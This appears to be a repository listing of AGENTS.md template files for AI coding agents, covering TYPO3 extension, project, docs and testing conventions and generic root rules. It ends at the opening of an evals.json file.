        {{TEST_COVERAGE_LINE}}
        {{TEST_WATCH_LINE}}
        <!-- AGENTS-GENERATED:END commands -->
        
        <!-- AGENTS-GENERATED:START organization -->
        ## Test organization
        - Group tests by feature or module
        - Name test files to match source files (e.g., `foo_test.go`, `foo.test.ts`)
        - Use descriptive test names that explain the expected behavior
        - Keep fixtures and mocks in dedicated directories
        <!-- AGENTS-GENERATED:END organization -->
        
        <!-- AGENTS-GENERATED:START code-style -->
        ## Code style & conventions
        - One assertion per test when possible
        - Use descriptive test names: `test_should_return_error_when_input_is_empty`
        - Avoid testing implementation details; focus on behavior
        - Keep tests independent - no shared mutable state
        - Mock external dependencies (network, filesystem, time)
        - Use table-driven tests for multiple similar cases
        <!-- AGENTS-GENERATED:END code-style -->
        
        <!-- AGENTS-GENERATED:START security -->
        ## Security & safety
        - Never commit real credentials in test fixtures
        - Use environment variables or mock services for sensitive data
        - Sanitize any test data that might contain PII
        - Ensure test databases are isolated from production
        <!-- AGENTS-GENERATED:END security -->
        
        <!-- AGENTS-GENERATED:START checklist -->
        ## PR/commit checklist
        - [ ] All tests pass locally
        - [ ] New functionality has corresponding tests
        - [ ] Test names describe expected behavior
        - [ ] No hardcoded credentials or sensitive data
        - [ ] Mocks are appropriate and maintainable
        - [ ] Coverage hasn't decreased significantly
        <!-- AGENTS-GENERATED:END checklist -->
        
        <!-- AGENTS-GENERATED:START examples -->
        ## Patterns to Follow
        > **Prefer looking at real code in this repo over generic examples.**
        > See **Golden Samples** section above for files that demonstrate correct patterns.
        <!-- AGENTS-GENERATED:END examples -->
        
        <!-- AGENTS-GENERATED:START help -->
        ## When stuck
        - Check existing tests for patterns
        - Review test framework documentation
        - Ensure test isolation (no shared state)
        - Check root AGENTS.md for project conventions
        <!-- AGENTS-GENERATED:END help -->
        
        ## House Rules (project-specific)
        <!-- This section is NOT auto-generated - add your project-specific rules here -->
        {{HOUSE_RULES}}
        
      • typo3-docs.md 3.6 KB
        <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} -->
        
        # AGENTS.md — {{SCOPE_NAME}}
        
        <!-- AGENTS-GENERATED:START overview -->
        ## Overview
        TYPO3 extension documentation (RST format for docs.typo3.org). **Use the `typo3-docs` skill** for comprehensive guidance.
        <!-- AGENTS-GENERATED:END overview -->
        
        <!-- AGENTS-GENERATED:START filemap -->
        ## Key Files
        {{SCOPE_FILE_MAP}}
        <!-- AGENTS-GENERATED:END filemap -->
        
        <!-- AGENTS-GENERATED:START golden-samples -->
        ## Golden Samples (follow these patterns)
        {{SCOPE_GOLDEN_SAMPLES}}
        <!-- AGENTS-GENERATED:END golden-samples -->
        
        <!-- AGENTS-GENERATED:START structure -->
        ## Structure (docs.typo3.org standard)
        ```
        Documentation/
        ├── Index.rst              # Main entry point (required)
        ├── Settings.cfg           # Sphinx configuration (required)
        ├── Includes.rst.txt       # Shared includes
        ├── Introduction/
        │   └── Index.rst
        ├── Installation/
        │   └── Index.rst
        ├── Configuration/
        │   └── Index.rst
        ├── Editor/
        │   └── Index.rst
        ├── Developer/
        │   └── Index.rst
        └── Images/
            └── *.png, *.svg
        ```
        <!-- AGENTS-GENERATED:END structure -->
        
        <!-- AGENTS-GENERATED:START commands -->
        ## Rendering Docs
        | Task | Command |
        |------|---------|
        | Render locally | `docker run --rm -v $(pwd):/project ghcr.io/typo3-documentation/render-guides:latest` |
        | Preview | Open `Documentation-GENERATED-temp/Index.html` |
        | Clean | `rm -rf Documentation-GENERATED-temp/` |
        <!-- AGENTS-GENERATED:END commands -->
        
        <!-- AGENTS-GENERATED:START patterns -->
        ## Key Patterns (TYPO3-specific)
        - Use RST format, **not Markdown**
        - Use TYPO3 directives: `confval`, `versionadded`, `deprecated`, `t3-field-list-table`
        - Include code with `.. code-block:: php` or `.. literalinclude::`
        - Cross-reference with `:ref:` and proper labels
        - **Screenshots MANDATORY** for backend modules, config screens, UI workflows
        - Store in `Documentation/Images/`, use `.. figure::` with `:zoom: lightbox`
        <!-- AGENTS-GENERATED:END patterns -->
        
        <!-- AGENTS-GENERATED:START screenshots -->
        ## Screenshots (MANDATORY for UI)
        ```rst
        .. figure:: /Images/Configuration/ExtensionSettings.png
           :alt: Extension configuration showing API settings
           :zoom: lightbox
           :class: with-border with-shadow
        
           Configure the extension in Admin Tools > Settings
        ```
        - Format: **PNG only**
        - Zoom modes: `lightbox` (default), `gallery` (tutorials), `inline` (diagrams)
        - Always include `:alt:` text
        <!-- AGENTS-GENERATED:END screenshots -->
        
        <!-- AGENTS-GENERATED:START code-style -->
        ## RST Style
        - Headings: `=` for H1, `-` for H2, `~` for H3, `^` for H4
        - Line length: ~80 characters for readability
        - One sentence per line (for better diffs)
        - Use `.. note::`, `.. warning::`, `.. tip::` for admonitions
        - Tables: use `.. t3-field-list-table::` or grid tables
        <!-- AGENTS-GENERATED:END code-style -->
        
        <!-- AGENTS-GENERATED:START checklist -->
        ## PR Checklist
        - [ ] RST syntax valid (renders without errors)
        - [ ] All internal links resolve
        - [ ] Images have `:alt:` text and `:zoom: lightbox`
        - [ ] **Screenshots exist** for all backend/config/UI sections
        - [ ] Code examples are tested
        - [ ] Follows docs.typo3.org structure
        <!-- AGENTS-GENERATED:END checklist -->
        
        <!-- AGENTS-GENERATED:START skill-reference -->
        ## Skill Reference
        > For RST syntax, TYPO3 directives, screenshots, and docs.typo3.org deployment:
        > **Invoke skill:** `typo3-docs`
        <!-- AGENTS-GENERATED:END skill-reference -->
        
        ## House Rules (project-specific)
        <!-- This section is NOT auto-generated - add your project-specific rules here -->
        {{HOUSE_RULES}}
        
      • typo3-extension.md 5.1 KB
        <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} -->
        
        # AGENTS.md — {{SCOPE_NAME}}
        
        <!-- AGENTS-GENERATED:START overview -->
        ## Overview
        {{SCOPE_DESCRIPTION}}
        <!-- AGENTS-GENERATED:END overview -->
        
        <!-- AGENTS-GENERATED:START filemap -->
        ## Key Files
        {{SCOPE_FILE_MAP}}
        <!-- AGENTS-GENERATED:END filemap -->
        
        <!-- AGENTS-GENERATED:START golden-samples -->
        ## Golden Samples (follow these patterns)
        {{SCOPE_GOLDEN_SAMPLES}}
        <!-- AGENTS-GENERATED:END golden-samples -->
        
        <!-- AGENTS-GENERATED:START setup -->
        ## Setup & environment
        {{INSTALL_LINE}}
        {{PHP_VERSION_LINE}}
        {{TYPO3_VERSION_LINE}}
        {{DEV_SETUP_LINE}}
        {{REQUIRED_EXTENSIONS_LINE}}
        <!-- AGENTS-GENERATED:END setup -->
        
        <!-- AGENTS-GENERATED:START structure -->
        ## Directory structure
        ```
        Classes/           → PHP classes (PSR-4: Vendor\ExtKey\)
          Controller/      → Backend/Frontend controllers
          Domain/          → Model, Repository, Validator
          Service/         → Business logic services
          ViewHelpers/     → Fluid ViewHelpers
        Configuration/     → TYPO3 configuration
          TCA/             → Table Configuration Array
          TypoScript/      → TypoScript setup/constants
          FlexForms/       → FlexForm XML definitions
          Backend/         → Backend module config
        Resources/
          Private/         → Templates, Partials, Layouts (Fluid)
          Public/          → CSS, JS, Icons
        Tests/
          Unit/            → PHPUnit unit tests
          Functional/      → Functional tests with DB
        Documentation/     → RST documentation for docs.typo3.org
        ```
        <!-- AGENTS-GENERATED:END structure -->
        
        <!-- AGENTS-GENERATED:START commands -->
        ## Build & tests
        {{COMMANDS_TABLE}}
        {{DDEV_ALTERNATIVE}}
        <!-- AGENTS-GENERATED:END commands -->
        
        <!-- AGENTS-GENERATED:START code-style -->
        ## Code style & conventions
        - **PSR-12** + TYPO3 CGL (Coding Guidelines)
        - Strict types: `declare(strict_types=1);` in all PHP files
        - Namespace: `{{VENDOR}}\{{EXT_KEY}}\` (PSR-4 from Classes/)
        - Use dependency injection via `Services.yaml`, not `GeneralUtility::makeInstance()`
        - Extbase conventions for domain models and repositories
        - Fluid templates: use `<f:` and custom ViewHelpers
        - TCA: use TYPO3 API, not raw SQL for schema
        - Never use `$GLOBALS['TYPO3_DB']` (deprecated since v8)
        
        ### Naming conventions
        | Type | Convention | Example |
        |------|------------|---------|
        | Extension key | `lowercase_underscore` | `my_extension` |
        | Composer name | `vendor/ext-key` | `vendor/my-extension` |
        | Namespace | `Vendor\ExtKey\` | `Vendor\MyExtension\` |
        | Controller | `*Controller` | `BlogController` |
        | Repository | `*Repository` | `PostRepository` |
        | ViewHelper | `*ViewHelper` | `FormatDateViewHelper` |
        <!-- AGENTS-GENERATED:END code-style -->
        
        <!-- AGENTS-GENERATED:START security -->
        ## Security & safety
        - **Always use QueryBuilder** or Extbase repositories - never raw SQL
        - **Escape output** in Fluid: `{variable}` auto-escapes, use `<f:format.raw>` only when safe
        - **CSRF protection**: use `\TYPO3\CMS\Core\FormProtection\FormProtectionFactory` for forms
        - **Access checks**: use `$GLOBALS['BE_USER']->check()` for backend
        - **File handling**: use FAL (File Abstraction Layer), never direct file paths
        - **Never trust user input**: validate via Extbase validators or custom validation
        <!-- AGENTS-GENERATED:END security -->
        
        <!-- AGENTS-GENERATED:START checklist -->
        ## PR/commit checklist
        {{CI_CHECKLIST_LINE}}
        {{PHPSTAN_CHECKLIST_LINE}}
        - [ ] ext_emconf.php version updated if releasing
        - [ ] TCA changes have matching SQL in ext_tables.sql
        - [ ] Documentation updated in Documentation/
        - [ ] No deprecated TYPO3 APIs (run Extension Scanner)
        {{TYPO3_VERSION_CHECKLIST_LINE}}
        <!-- AGENTS-GENERATED:END checklist -->
        
        <!-- AGENTS-GENERATED:START examples -->
        ## Patterns to Follow
        > **Prefer looking at real code in this repo over generic examples.**
        > See **Golden Samples** section above for files that demonstrate correct patterns.
        <!-- AGENTS-GENERATED:END examples -->
        
        <!-- AGENTS-GENERATED:START upgrade -->
        ## TYPO3 upgrade considerations
        - Run **Extension Scanner** before upgrading: Backend → Upgrade → Scan Extension Files
        - Use **Rector** for automated migrations: `vendor/bin/rector process`
        - Check **deprecation log** in TYPO3 backend
        - Review [TYPO3 Changelog](https://docs.typo3.org/c/typo3/cms-core/main/en-us/Index.html) for breaking changes
        <!-- AGENTS-GENERATED:END upgrade -->
        
        <!-- AGENTS-GENERATED:START help -->
        ## When stuck
        - TYPO3 Documentation: https://docs.typo3.org
        - TCA Reference: https://docs.typo3.org/m/typo3/reference-tca/main/en-us/
        - Core API: https://docs.typo3.org/m/typo3/reference-coreapi/main/en-us/
        - Extbase Guide: https://docs.typo3.org/m/typo3/book-extbasefluid/main/en-us/
        - Check existing patterns in EXT:core or EXT:backend
        - Review root AGENTS.md for project-wide conventions
        <!-- AGENTS-GENERATED:END help -->
        
        <!-- AGENTS-GENERATED:START skill-reference -->
        ## Skill Reference
        > For TYPO3 extension standards, TER compliance, and conformance checks:
        > **Invoke skill:** `typo3-conformance`
        <!-- AGENTS-GENERATED:END skill-reference -->
        
        ## House Rules (project-specific)
        <!-- This section is NOT auto-generated - add your project-specific rules here -->
        {{HOUSE_RULES}}
        
      • typo3-project.md 4.7 KB
        <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} -->
        
        # AGENTS.md — {{SCOPE_NAME}}
        
        <!-- AGENTS-GENERATED:START overview -->
        ## Overview
        {{SCOPE_DESCRIPTION}}
        <!-- AGENTS-GENERATED:END overview -->
        
        <!-- AGENTS-GENERATED:START filemap -->
        ## Key Files
        {{SCOPE_FILE_MAP}}
        <!-- AGENTS-GENERATED:END filemap -->
        
        <!-- AGENTS-GENERATED:START golden-samples -->
        ## Golden Samples (follow these patterns)
        {{SCOPE_GOLDEN_SAMPLES}}
        <!-- AGENTS-GENERATED:END golden-samples -->
        
        <!-- AGENTS-GENERATED:START setup -->
        ## Setup & environment
        {{INSTALL_LINE}}
        {{PHP_VERSION_LINE}}
        {{TYPO3_VERSION_LINE}}
        {{DEV_SETUP_LINE}}
        {{COMPOSER_MODE_LINE}}
        <!-- AGENTS-GENERATED:END setup -->
        
        <!-- AGENTS-GENERATED:START structure -->
        ## Directory structure
        ```
        public/                 → Web root (DocumentRoot)
          typo3/               → TYPO3 backend assets
          typo3conf/           → Configuration (legacy, avoid)
          fileadmin/           → User uploads (FAL)
          index.php            → Entry point
        config/                → Project configuration
          sites/               → Site configurations (YAML)
            <site>/
              config.yaml      → Site routing, languages
          system/              → System-wide settings
            settings.php       → LocalConfiguration equivalent
            additional.php     → AdditionalConfiguration
        var/                   → Runtime data (cache, logs)
          cache/               → Cache files
          log/                 → Log files
          session/             → Session data
        vendor/                → Composer dependencies
        packages/              → Local extensions (recommended)
          my_extension/        → Custom extension
        ```
        <!-- AGENTS-GENERATED:END structure -->
        
        <!-- AGENTS-GENERATED:START commands -->
        ## Build & tests
        {{COMMANDS_TABLE}}
        <!-- AGENTS-GENERATED:END commands -->
        
        <!-- AGENTS-GENERATED:START code-style -->
        ## Code style & conventions
        - **PSR-12** + TYPO3 CGL (Coding Guidelines)
        - Strict types: `declare(strict_types=1);` in all PHP files
        - Use **Composer Mode** for all extensions
        - Site configuration in `config/sites/` (not database)
        - Use environment variables for sensitive config
        - Avoid `typo3conf/` - use `config/` and `packages/` instead
        
        ### Project vs Extension code
        | Type | Location | Purpose |
        |------|----------|---------|
        | Local extensions | `packages/` | Custom functionality |
        | Site config | `config/sites/` | Routing, languages |
        | System config | `config/system/` | TYPO3 settings |
        | Templates | Extension `Resources/` | Fluid templates |
        <!-- AGENTS-GENERATED:END code-style -->
        
        <!-- AGENTS-GENERATED:START extensions -->
        ## Extension management
        - **Composer-only**: All extensions via `composer require`
        - **Local packages**: Use `packages/` with path repository
        - **Never use Extension Manager** for production
        - Lock extension versions in `composer.lock`
        
        ### Adding local extension
        ```json
        {
            "repositories": [
                {"type": "path", "url": "packages/*"}
            ],
            "require": {
                "vendor/my-extension": "@dev"
            }
        }
        ```
        <!-- AGENTS-GENERATED:END extensions -->
        
        <!-- AGENTS-GENERATED:START security -->
        ## Security & safety
        - **Environment variables**: Use for DB credentials, encryption key
        - **Restrict backend access**: Use `.htaccess` or server config
        - **Disable install tool**: Remove `ENABLE_INSTALL_TOOL` after setup
        - **File permissions**: Strict permissions on `var/`, `config/`
        - **HTTPS only**: Enforce in site configuration
        - **Update regularly**: Security updates for core and extensions
        <!-- AGENTS-GENERATED:END security -->
        
        <!-- AGENTS-GENERATED:START deployment -->
        ## Deployment
        - Use `composer install --no-dev --optimize-autoloader`
        - Clear caches: `vendor/bin/typo3 cache:flush`
        - Warmup caches: `vendor/bin/typo3 cache:warmup`
        - Run database migrations: `vendor/bin/typo3 database:updateschema`
        - Never deploy `var/cache/` or `var/session/`
        <!-- AGENTS-GENERATED:END deployment -->
        
        <!-- AGENTS-GENERATED:START checklist -->
        ## PR/commit checklist
        {{CI_CHECKLIST_LINE}}
        - [ ] Site configuration is valid YAML
        - [ ] No hardcoded credentials or paths
        - [ ] Extensions installed via Composer only
        - [ ] Database schema changes documented
        {{TYPO3_VERSION_CHECKLIST_LINE}}
        <!-- AGENTS-GENERATED:END checklist -->
        
        <!-- AGENTS-GENERATED:START help -->
        ## When stuck
        - TYPO3 Documentation: https://docs.typo3.org
        - Installation Guide: https://docs.typo3.org/m/typo3/tutorial-getting-started/main/en-us/
        - Site Configuration: https://docs.typo3.org/m/typo3/reference-coreapi/main/en-us/ApiOverview/SiteHandling/
        - Console Commands: `vendor/bin/typo3 list`
        - Review root AGENTS.md for project-wide conventions
        <!-- AGENTS-GENERATED:END help -->
        
        ## House Rules (project-specific)
        <!-- This section is NOT auto-generated - add your project-specific rules here -->
        {{HOUSE_RULES}}
        
      • typo3-testing.md 3 KB
        <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} -->
        
        # AGENTS.md — {{SCOPE_NAME}}
        
        <!-- AGENTS-GENERATED:START overview -->
        ## Overview
        TYPO3 extension test suite. **Use the `typo3-testing` skill** for comprehensive guidance.
        <!-- AGENTS-GENERATED:END overview -->
        
        <!-- AGENTS-GENERATED:START filemap -->
        ## Key Files
        {{SCOPE_FILE_MAP}}
        <!-- AGENTS-GENERATED:END filemap -->
        
        <!-- AGENTS-GENERATED:START golden-samples -->
        ## Golden Samples (follow these patterns)
        {{SCOPE_GOLDEN_SAMPLES}}
        <!-- AGENTS-GENERATED:END golden-samples -->
        
        <!-- AGENTS-GENERATED:START structure -->
        ## Test Structure (TYPO3 standard)
        ```
        Tests/
        ├── Unit/                    # Fast, isolated unit tests
        │   └── Domain/
        │       └── Model/
        ├── Functional/              # Tests with database/TYPO3 context
        │   ├── Fixtures/            # Test data, SQL, XML
        │   └── Domain/
        │       └── Repository/
        └── Build/                   # CI configuration
        ```
        <!-- AGENTS-GENERATED:END structure -->
        
        <!-- AGENTS-GENERATED:START commands -->
        ## Running Tests
        | Type | Command |
        |------|---------|
        | Unit tests | `composer ci:test:php:unit` or `Build/Scripts/runTests.sh -s unit` |
        | Functional tests | `composer ci:test:php:functional` or `Build/Scripts/runTests.sh -s functional` |
        | Single file | `Build/Scripts/runTests.sh -s unit -p Tests/Unit/Path/To/Test.php` |
        | Coverage | `composer ci:test:php:unit -- --coverage-html .Build/coverage` |
        <!-- AGENTS-GENERATED:END commands -->
        
        <!-- AGENTS-GENERATED:START patterns -->
        ## Key Patterns (TYPO3-specific)
        - Unit tests extend `\TYPO3\TestingFramework\Core\Unit\UnitTestCase`
        - Functional tests extend `\TYPO3\TestingFramework\Core\Functional\FunctionalTestCase`
        - Use `$this->importCSVDataSet()` for functional test fixtures
        - Define `$testExtensionsToLoad` for extension dependencies
        - Use `GeneralUtility::makeInstance()` for DI-aware instantiation in functional tests
        <!-- AGENTS-GENERATED:END patterns -->
        
        <!-- AGENTS-GENERATED:START code-style -->
        ## Code Style
        - Test class name matches source: `MyClass` → `MyClassTest`
        - Test methods: `test` prefix or `@test` annotation
        - One assertion concept per test
        - Use data providers for multiple similar cases
        - Mock external services, never real HTTP calls
        <!-- AGENTS-GENERATED:END code-style -->
        
        <!-- AGENTS-GENERATED:START checklist -->
        ## PR Checklist
        - [ ] All tests pass: `composer ci:test:php:unit && composer ci:test:php:functional`
        - [ ] New functionality has tests
        - [ ] Fixtures are minimal and focused
        - [ ] No hardcoded credentials or paths
        - [ ] Coverage hasn't decreased
        <!-- AGENTS-GENERATED:END checklist -->
        
        <!-- AGENTS-GENERATED:START skill-reference -->
        ## Skill Reference
        > For comprehensive TYPO3 testing guidance including fixtures, mocking, CI setup, and runTests.sh:
        > **Invoke skill:** `typo3-testing`
        <!-- AGENTS-GENERATED:END skill-reference -->
        
        ## House Rules (project-specific)
        <!-- This section is NOT auto-generated - add your project-specific rules here -->
        {{HOUSE_RULES}}
        
    • root-thin.md 5.7 KB
      <!-- FOR AI AGENTS - Human readability is a side effect, not a goal -->
      <!-- Managed by agent: keep sections and order; edit content, not structure -->
      <!-- Last updated: {{TIMESTAMP}} | Last verified: {{VERIFIED_TIMESTAMP}} -->
      
      # AGENTS.md
      
      **Precedence:** the **closest `AGENTS.md`** to the files you're changing wins. Root holds global defaults only.
      
      ## Commands{{VERIFIED_STATUS}}
      > Source: {{COMMAND_SOURCE}} — CI-sourced commands are most reliable
      
      <!-- AGENTS-GENERATED:START commands -->
      | Task | Command | ~Time |
      |------|---------|-------|
      | Typecheck | {{TYPECHECK_CMD}} | {{TYPECHECK_TIME}} |
      | Lint | {{LINT_CMD}} | {{LINT_TIME}} |
      | Format | {{FORMAT_CMD}} | {{FORMAT_TIME}} |
      | Test (single) | {{TEST_SINGLE_CMD}} | ~2s |
      | Test (all) | {{TEST_CMD}} | {{TEST_TIME}} |
      | Build | {{BUILD_CMD}} | {{BUILD_TIME}} |
      <!-- AGENTS-GENERATED:END commands -->
      
      > If commands fail, verify against Makefile/package.json/composer.json or ask user to update.
      
      ## Response Style
      - Answer first, elaborate only if needed. No sycophantic openers ("Great question!", "Absolutely!").
      - For yes/no or status questions, lead with the answer.
      - Skip preamble. Match response length to task complexity.
      
      ## Workflow
      1. **Before coding**: Read nearest `AGENTS.md` + check Golden Samples for the area you're touching
      2. **After each change**: Run the smallest relevant check (lint → typecheck → single test)
      3. **Before committing**: Run full test suite if changes affect >2 files or touch shared code
      4. **Before claiming done**: Run verification and **show output as evidence** — never say "try again", "should work now", "tested", "verified", or "all green" without pasted command output in the same turn
      
      ## File Map
      <!-- AGENTS-GENERATED:START filemap -->
      ```
      {{FILE_MAP}}
      ```
      <!-- AGENTS-GENERATED:END filemap -->
      
      ## Golden Samples (follow these patterns)
      <!-- AGENTS-GENERATED:START golden-samples -->
      | For | Reference | Key patterns |
      |-----|-----------|--------------|
      {{GOLDEN_SAMPLES}}
      <!-- AGENTS-GENERATED:END golden-samples -->
      
      ## Utilities (check before creating new)
      <!-- AGENTS-GENERATED:START utilities -->
      | Need | Use | Location |
      |------|-----|----------|
      {{UTILITIES_LIST}}
      <!-- AGENTS-GENERATED:END utilities -->
      
      ## Heuristics (quick decisions)
      <!-- AGENTS-GENERATED:START heuristics -->
      | When | Do |
      |------|-----|
      {{HEURISTICS}}
      | Adding dependency | Ask first - we minimize deps |
      | Unsure about pattern | Check Golden Samples above |
      <!-- AGENTS-GENERATED:END heuristics -->
      
      ## Repository Settings
      <!-- AGENTS-GENERATED:START repo-settings -->
      {{REPO_SETTINGS}}
      <!-- AGENTS-GENERATED:END repo-settings -->
      
      <!-- AGENTS-GENERATED:START ci-rules -->
      {{CI_RULES_SECTION}}
      <!-- AGENTS-GENERATED:END ci-rules -->
      
      ## Key Decisions
      <!-- AGENTS-GENERATED:START key-decisions -->
      {{KEY_DECISIONS}}
      <!-- AGENTS-GENERATED:END key-decisions -->
      
      ## Boundaries
      
      ### Always Do
      - Run pre-commit checks before committing
      - Add tests for new code paths
      - Use conventional commit format: `type(scope): subject`
      - Use **atomic commits** (one logical change per commit); preserve signatures, keep bisection useful
      - **Show test output as evidence before claiming work is complete** — never say "try again", "should work now", "tested", "verified", or "all green" without pasted command output
      - Before any edit, verify `pwd` resolves inside the intended repo worktree — not `.bare/`, not `~/.claude/skills/…`, not `~/.claude/plugins/cache/…` (those are read-only caches that get clobbered on update)
      - For upstream dependency fixes: run **full** test suite, not just affected tests
      - Force-push only with `--force-with-lease`
      {{LANGUAGE_CONVENTIONS}}
      
      ### Ask First
      - Adding new dependencies
      - Modifying CI/CD configuration
      - Changing public API signatures
      - Running full e2e test suites
      - Repo-wide refactoring or rewrites
      - Operations that touch >3 repos (produce a dry-run plan first)
      
      ### Never Do
      - Commit secrets, credentials, or sensitive data
      - Modify vendor/, node_modules/, or generated files
      - Push directly to main/master branch — open a PR
      - Merge a PR before all review threads are resolved
      - Squash commits during merge or rebase unless the user explicitly asked
      - Edit installed skill/plugin cache paths (`~/.claude/skills/`, `~/.claude/plugins/cache/`, `**/.bare/**`) — always the source worktree
      - Reply to review comments with bare "Addressed" or "Fixed" — cite the resolving commit SHA
      - Delete migration files or schema changes
      - Use `secrets: inherit` in reusable GitHub Actions workflows (pass secrets explicitly)
      {{LANGUAGE_SPECIFIC_NEVER}}
      
      ## Contributing (for AI agents)
      - **Comprehension**: Understand the problem before submitting code. Read the linked issue, understand *why* the change is needed, not just *what* to change.
      - **Context**: Every PR must explain the trade-offs considered and link to the issue it addresses. Disclose AI assistance if the project requires it.
      - **Continuity**: Respond to review feedback. Drive-by PRs without follow-up will be closed.
      
      <!-- AGENTS-GENERATED:START module-boundaries -->
      {{MODULE_BOUNDARIES}}
      <!-- AGENTS-GENERATED:END module-boundaries -->
      
      ## Codebase State
      <!-- AGENTS-GENERATED:START codebase-state -->
      {{CODEBASE_STATE}}
      <!-- AGENTS-GENERATED:END codebase-state -->
      
      ## Terminology
      | Term | Means |
      |------|-------|
      {{TERMINOLOGY}}
      
      ## Scoped AGENTS.md (MUST read when working in these directories)
      <!-- AGENTS-GENERATED:START scope-index -->
      {{SCOPE_INDEX}}
      <!-- AGENTS-GENERATED:END scope-index -->
      
      > **Agents**: When you read or edit files in a listed directory, you **must** load its AGENTS.md first. It contains directory-specific conventions that override this root file.
      
      ## When instructions conflict
      The nearest `AGENTS.md` wins. Explicit user prompts override files.
      {{LANGUAGE_SPECIFIC_CONFLICT_RESOLUTION}}
      
    • root-verbose.md 5.5 KB
      <!-- FOR AI AGENTS - Human readability is a side effect, not a goal -->
      <!-- Managed by agent: keep sections and order; edit content, not structure -->
      <!-- Last updated: {{TIMESTAMP}} | Last verified: {{VERIFIED_TIMESTAMP}} -->
      
      # AGENTS.md
      
      **Precedence:** The **closest AGENTS.md** to changed files wins. Root holds global defaults only.
      
      ## Project Overview
      <!-- AGENTS-GENERATED:START project-overview -->
      {{PROJECT_DESCRIPTION}}
      
      **Tech Stack**: {{LANGUAGE}} {{VERSION}}, {{BUILD_TOOL}}, {{FRAMEWORK}}
      **Type**: {{PROJECT_TYPE}}
      <!-- AGENTS-GENERATED:END project-overview -->
      
      ## Response Style
      - Answer first, elaborate only if needed. No sycophantic openers ("Great question!", "Absolutely!").
      - Lead with the answer for yes/no or status questions. Skip preamble.
      - Match response length to task complexity.
      
      ## Global Rules
      - Keep PRs small (~≤300 net LOC)
      - Conventional Commits: `type(scope): subject`
      - Atomic commits (one logical change per commit) — never squash unless explicitly asked
      {{LANGUAGE_CONVENTIONS}}
      
      ## Boundaries
      
      ### Always Do
      - Run pre-commit checks before committing
      - Add tests for new code paths
      - Use conventional commit format: `type(scope): subject`
      - Keep dependencies updated
      - Validate all user inputs
      - **Show test output as evidence before claiming work is complete** — never say "try again", "should work now", "tested", "verified", or "all green" without pasted command output in the same turn
      - Before any edit, verify `pwd` resolves inside the intended repo worktree — not `.bare/`, not `~/.claude/skills/…`, not `~/.claude/plugins/cache/…` (those are read-only caches that get clobbered on update)
      - For upstream dependency fixes: run **full** test suite, not just affected tests
      - Force-push only with `--force-with-lease`
      
      ### Ask First
      - Adding new dependencies
      - Modifying CI/CD configuration
      - Changing public API signatures
      - Running full e2e test suites
      - Repo-wide refactoring or rewrites
      - Modifying security-sensitive code
      - Changing database schemas
      - Any operation that touches >3 repos — produce a dry-run plan first
      
      ### Never Do
      - Commit secrets, credentials, API keys, or PII
      - Modify vendor/, node_modules/, or generated files
      - Push directly to main/master branch — open a PR
      - Merge a PR before all review threads are resolved
      - Squash commits during merge/rebase unless the user explicitly asked
      - Edit installed skill/plugin cache paths (`~/.claude/skills/`, `~/.claude/plugins/cache/`, `**/.bare/**`)
      - Reply to review comments with bare "Addressed" or "Fixed" — cite the resolving commit SHA
      - Delete migration files or schema changes
      - Disable security features or linting rules
      - Hardcode environment-specific values
      - Use `secrets: inherit` in reusable GitHub Actions workflows (pass secrets explicitly)
      {{LANGUAGE_SPECIFIC_NEVER}}
      
      <!-- AGENTS-GENERATED:START module-boundaries -->
      {{MODULE_BOUNDARIES}}
      <!-- AGENTS-GENERATED:END module-boundaries -->
      
      ## Development Workflow
      1. Create feature branch: `git checkout -b feature/description`
      2. Make changes with tests
      3. Run pre-commit checks (see below)
      4. Commit with conventional format
      5. Push and create PR
      6. Address review feedback
      7. Merge when approved
      
      ## Agent Work Loop
      1. **Before coding**: Read nearest `AGENTS.md` + check Golden Samples for the area you're touching
      2. **After each change**: Run the smallest relevant check (lint → typecheck → single test)
      3. **Before committing**: Run full test suite if changes affect >2 files or touch shared code
      4. **Before claiming done**: Run verification and **show output as evidence** — never say "try again", "should work now", "tested", or "verified" without pasted command output
      
      ## Pre-commit Checks
      > Source: {{COMMAND_SOURCE}} — CI-sourced commands are most reliable
      
      <!-- AGENTS-GENERATED:START precommit-checks -->
      **Always run before committing:**
      - Typecheck: {{TYPECHECK_CMD}}
      - Lint: {{LINT_CMD}}
      - Format: {{FORMAT_CMD}}
      - Tests: {{TEST_CMD}}
      - Build: {{BUILD_CMD}}
      <!-- AGENTS-GENERATED:END precommit-checks -->
      
      ## Code Quality Standards
      <!-- AGENTS-GENERATED:START quality-standards -->
      {{QUALITY_STANDARDS}}
      <!-- AGENTS-GENERATED:END quality-standards -->
      
      <!-- AGENTS-GENERATED:START ci-rules -->
      {{CI_RULES_SECTION}}
      <!-- AGENTS-GENERATED:END ci-rules -->
      
      ## Security & Safety
      - Never commit secrets, credentials, or PII
      - Validate all user inputs
      - Use parameterized queries for database access
      - Keep dependencies updated
      {{SECURITY_SPECIFIC}}
      
      ## Testing Requirements
      <!-- AGENTS-GENERATED:START testing -->
      - Write tests for new features
      - Maintain {{TEST_COVERAGE}}% minimum coverage
      - Run fast tests locally: {{TEST_FAST_CMD}}
      - Run full suite in CI: {{TEST_FULL_CMD}}
      <!-- AGENTS-GENERATED:END testing -->
      
      ## Key Decisions
      <!-- AGENTS-GENERATED:START key-decisions -->
      {{KEY_DECISIONS}}
      <!-- AGENTS-GENERATED:END key-decisions -->
      
      ## Scoped AGENTS.md (MUST read when working in these directories)
      <!-- AGENTS-GENERATED:START scope-index -->
      {{SCOPE_INDEX}}
      <!-- AGENTS-GENERATED:END scope-index -->
      
      > **Agents**: When you read or edit files in a listed directory, you **must** load its AGENTS.md first. It contains directory-specific conventions that override this root file.
      
      ## When Instructions Conflict
      Nearest AGENTS.md wins. User prompts override files.
      {{LANGUAGE_SPECIFIC_CONFLICT_RESOLUTION}}
      
      ## Code Examples
      
      ### Good Pattern
      {{GOOD_EXAMPLE}}
      
      ### Avoid
      {{BAD_EXAMPLE}}
      
      ## Documentation
      <!-- AGENTS-GENERATED:START documentation -->
      - Architecture: {{ARCHITECTURE_DOC}}
      - API docs: {{API_DOC}}
      - Contributing: {{CONTRIBUTING_DOC}}
      <!-- AGENTS-GENERATED:END documentation -->
      
  • evals
    • evals.json 22.9 KB
      {
        "skill_name": "agent-rules",
        "evals": [
          {
            "id": 1,
            "eval_name": "generate-agents-go-project",
